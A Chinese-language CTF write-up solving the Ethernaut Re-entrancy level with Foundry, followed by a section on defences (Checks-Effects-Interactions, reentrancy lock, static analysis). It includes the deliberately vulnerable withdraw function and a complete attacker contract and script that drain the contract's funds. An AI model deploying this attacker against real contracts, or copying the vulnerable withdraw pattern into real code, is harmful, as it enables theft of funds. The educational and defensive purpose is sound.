【Ethernaut x Foundry】Level 10-Re-entrancy 答案解說

tanner.dev
15 min readMar 14, 2024

--

Figure 1: https://ethernaut.openzeppelin.com/level/0x2a24869323C0B13Dff24E196Ba072dC790D52479

2024 年依舊是最經典攻擊手法之一:Re-entrancy (重入攻擊)

看完這篇你會學到:

  1. 什麼是 Re-entrancy (重入攻擊)
  2. 如何預防重入攻擊

題目

此次目標是偷走合約內所有資金即可通關。

Figure 2: Re-entrancy 題目

合約程式碼如下:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Reentrance {

using SafeMath for uint256;
mapping(address => uint) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}

function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

receive() external payable {}
}

解說

又是道經典題目,這次關卡考點十分明確,想通過本題勢必要了解什麼是 Re-entrancy 。

什麼是 Re-entrancy

Re-entrancy 是一種常見的合約攻擊手法,它主要是利用 external call 的轉移合約主控權特性,當一個合約在執行期間呼叫 (external call) 另一個外部合約的函式,此時主控權轉交給外部合約,接著外部合約故意回 call 原始合約,使原始合約再次執行 external call 到外部合約,這將導致迴圈式的呼叫,直至達成攻擊者目的或 gas 消耗殆盡。由於攻擊者會二次或多次進入原始合約,故被稱作重入攻擊。下方為攻擊流程圖片:

Figure 3: Re-entrancy Execution Logic

重入的入口點會發生在原始合約 external call 呼叫外部合約,而通常外部合約會在 fallback / receive 函式進行第二次回 call 原始合約。以這個邏輯來觀察題目合約,唯一存在 external call 的函式只有 withdraw(),看來它就是我們要找的入口點了。

withdraw() 裡,程式碼可以分成以下三個步驟:

  1. 檢查提款者目前的 balances 是否大於欲提款金額 (_amount)。
  2. 接著與外部合約互動,將 _amount 金額轉入提款者帳戶。
  3. 最後才實際修改合約內部有發生作用的狀態變數,將提款者的 balances 減去所提領的 _amount金額。
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

上述的執行步驟其實暗藏著 Re-entrancy 漏洞,因為沒有先實際修改有發生作用 (受影響) 的狀態變數就與外部合約互動,重入攻擊的步驟如下:

Step 1. 攻擊合約呼叫關卡合約 donate(),讓 balances 中存有攻擊者資金

Step 2. 再呼叫關卡合約 withdraw()取出攻擊者資金,藉此進入 msg.sender.call() 讓這個 external call 觸發攻擊合約的 receive()

Step 3. 在攻擊合約 receive() 裡面再次呼叫關卡合約 withdraw()以達到二次提款。

Step 4. 會形成迴圈重複 Step 2 ~ Step3 直到關卡合約 balance 小於 0 才停止。

因為在 Step 3 的第二次呼叫是經由 receive 去呼叫關卡合約的 withdraw(),但是在第二次進入 withdraw() 時卻因為受影響的狀態變數尚未更新 (這行程式碼 balances[msg.sender] -= _amount 根本沒有被執行),所以關卡合約在尚未減去提款者所提領的金額時,就再次把錢轉出去了!

最後,我們需要在 receive 中判斷關卡合約是否仍有餘額 (if (balance > 0)) 作為重入攻擊的終止點,否則會反覆重入直到 Out of gas 導致 revert,攻擊合約實作如下:

// src/10-ReentranceAttacker.sol

interface IReentrance {
function donate(address _to) external payable;
function withdraw(uint _amount) external;
function balanceOf(address _who) external view returns (uint balance);
}

contract ReentranceAttacker {
address public challengeInstance;

constructor(address _challengeInstance) payable {
challengeInstance = _challengeInstance;
}

function attack() external {
IReentrance(challengeInstance).donate{value: 0.001 ether}(address(this));
IReentrance(challengeInstance).withdraw(0.001 ether);
}

receive() external payable {
uint balance = IReentrance(challengeInstance).balanceOf(address(this));
if (balance > 0) {
IReentrance(challengeInstance).withdraw(balance);
}
}
}

這題同樣要記得在 script 創建 ReentranceAttacker 攻擊合約時傳入 0.001 Ether 進去當作攻擊資金。

// script/solutions/10-Reentrance.s.sol

contract ReentranceSolution is Script, EthernautHelper {
...

function run() public {
...

// YOUR SOLUTION HERE
ReentranceAttacker reentranceAttacker = new ReentranceAttacker{value: 0.001 ether}(challengeInstance);
reentranceAttacker.attack();

...
}
}

恭喜你,成功利用了重入漏洞洗劫關卡資金!

到這裡我們了解了何謂 Re-entrancy Attack 及其原理,但身為一個合約開發者,多了解基本的合約安全開發 Design Pattern 以確保安全性也是很正常的事,所以緊接著延伸閱讀要來討論一下該如何預防重入攻擊~

BTW 如果你發現自己對這次的攻擊流程不是很熟悉 (例如無法從頭到尾說明攻擊流程),那會建議多方參考他人的解說或是隔幾天再重新看一次 Re-entrancy 的介紹,因為當初我也花了點時間才消化吸收,所以非常能理解第一次接觸 Re-entrancy 那種似懂非懂的感受 XD。

延伸閱讀

如何預防重入攻擊

Re-entrancy 是合約安全問題中從早期就一直存在的重要漏洞之一,根據 Cyfrin 釋出的 2023 年數據顯示,因重入攻擊受駭的 DeFi 資金總量依然能排進 Top 10,在這兩年也出現一種叫 Read-only Re-entrancy 導致一些 DeFi 項目被攻擊,可見其漏洞影響力之大。因此,我們該了解如何避免重入攻擊發生,以及如何實作預防方法。接下來將介紹我目前已知且能力所及的防範手法:

  1. 使用 Checks-Effects-Interactions Pattern (程式方面)
  2. 使用重入鎖 (Mutex) (程式方面)
  3. 限制或注意對外部合約的 External Call (觀念方面)
  4. 使用合約靜態分析工具 (工具方面)

如果知道其他方法非常歡迎留言分享!!!

使用 Checks-Effects-Interactions Pattern

在前面介紹什麼是重入攻擊的時候,仔細看的話會發現我已經偷渡了 Checks-Effects-Interactions 這三個關鍵字,他們代表的涵意為:

  • 檢查 (Check): 在進行任何狀態修改之前,首先應該檢查所有必要條件是否滿足,例如確保 caller 有足夠的權限或資源,或者合約是否處於預期的 XX 狀態。
  • 作用 (Effect): 一旦檢查階段完成且條件滿足,就可以對發生作用 (受影響) 的狀態變數執行狀態的修改,這時會實際更新合約的狀態變數、Event、Log 等。
  • 互動 (Interaction): 最後,在完成檢查和作用階段之後,才執行與外部合約的互動,亦即執行 external call,例如呼叫外部合約的函式、發送資金等。

如果將題目合約照 CEI 模式改寫,就可以直接避免發生重入,這是由於改寫後的第一次 Effect 早於第一次的 Interaction 發生,故當攻擊者在第二次進入 withdraw() 時就會因 Check 檢查狀態失敗而被擋下來!改寫後的程式碼如下:

// Using Check-Effects-Interaction Pattern
function withdraw(uint _amount) public {
// Check 檢查是否滿足條件
if(balances[msg.sender] >= _amount) {

// Effect 修改有作用(受影響)的狀態變數
balances[msg.sender] -= _amount;

// Interaction 執行與外部合約的互動
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
}
}

如果文字不好理解,可以參考下方圖片,其實我們只要記得把 external call 改寫到最後一步再執行,基本上即可預防大部分的重入攻擊。

Figure 4: CHECK-EFFECTS-INTERACTION Pattern

使用重入鎖 (Mutex)

重入鎖是一種防止重入函數的修飾器 (modifier),這個 modifier nonReentrant() 每次開始的第一步就是先檢查狀態變數 _status 是否為 0,必須是 0 才進行下一步。接著第二步,將 _status修改為 1。第三步才正式執行被修飾的函式。最後,函式執行結束會把 _status 恢復成 0,確保下一次修飾器能正常運作。

如此能阻擋重入的原因在於,當攻擊合約打算重入函式呼叫第二次時,會先撞到重入鎖的第一步:先檢查狀態變數 _status 是否為 0,很不幸地,在稍早 _status 已經被修改成 1 了,因此重入鎖第一步的 require 檢查無法通過,導致整筆交易 revert,又成功擋下一次重入!

實作部分也很簡單,OpenZeppelin 甚至早就有現成套件可以直接拿來使用 (ReentrancyGuard),說白點,我們其實只是利用 nonReentrant()修飾器去修飾 withdraw() 而已,便能預防重入函式發生。改寫後的程式碼如下:

uint256 private _status; // 重入鎖狀態變數

// 重入鎖修飾器
modifier nonReentrant() {
// 在第一次呼叫到 nonReentrant 時,_status 必須是 0
require(_status == 0, "ReentrancyGuard: reentrant call");

// 將 _status 改為 1,在此之後對 nonReentrant 的任何呼叫都將失敗
_status = 1;

// 執行 function
_;

// 執行结束,將 _status 恢復為 0
_status = 0;
}

// 加上 nonReentrant() 修飾器
function withdraw(uint _amount) public nonReentrant {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

限制或注意對外部合約的 External Call

由於 external call 會將控制權交給外部合約,我們應該要盡可能最小化與外部合約的互動,並且只與信任的合約進行互動。如果必須要和未受信任的合約互動,可以在程式碼特別標注有潛在風險,獨立出一個函式,並進行嚴格的驗證和檢查,範例如下:

// bad
Bank.withdraw(100); // Unclear whether trusted or untrusted

function makeWithdrawal(uint amount) { // Isn't clear that this function is potentially unsafe
Bank.withdraw(amount);
}

// good
UntrustedBank.withdraw(100); // untrusted external call
TrustedBank.withdraw(100); // external but trusted bank contract maintained by XYZ Corp

function makeUntrustedWithdrawal(uint amount) {
UntrustedBank.withdraw(amount);
}

使用合約靜態分析工具

靜態分析工具可以用來找出合約中常見、具有一定攻擊 pattern 的漏洞,透過這個工具可以快速發現潛在漏洞,尤其是當合約規模越大,靜態分析工具越能體現出其價值 (當然分析也會跑稍微久一點)。然而,一些過於複雜的邏輯、新版 compiler 漏洞或是依賴外部資訊 (off-chain) 的漏洞自然無法全部偵測出來。不過重入攻擊這個上古漏洞,只要合約不過於複雜,基本上都會被偵測出來 (吧?)。以下是我知道的靜態分析工具:

有興趣可以去 try try,之後有時間再寫一個 aderynslither 的使用心得。

最後,我也推薦一個超好用的 VS code 小插件,你可以在 extensions 搜尋 Solidity Metrics 找到它。它是一個能快速一鍵生成 .sol 程式碼分析報告的工具,包含合約的整體範圍、風險、複雜程度、Natspec 等基本資訊,也會生成 Call Graph 視覺圖告訴你所有 function 之間 call 的關係,甚至連 Contract Summary 都直接生出來給你參考,對於想快速掌握專案摘要的人簡直是一大福音!

Figure 5: https://github.com/Consensys/solidity-metrics

謝謝你花了這麼多時間讀到這邊,希望這篇文章能有效地幫助你學習什麼是 Re-entrancy 以及如何預防,下個題目見~

--

--

tanner.dev

Blockchain Dev | Smart Contract Security | Day 1 in CTF | HODL & BUIDL & BEHODL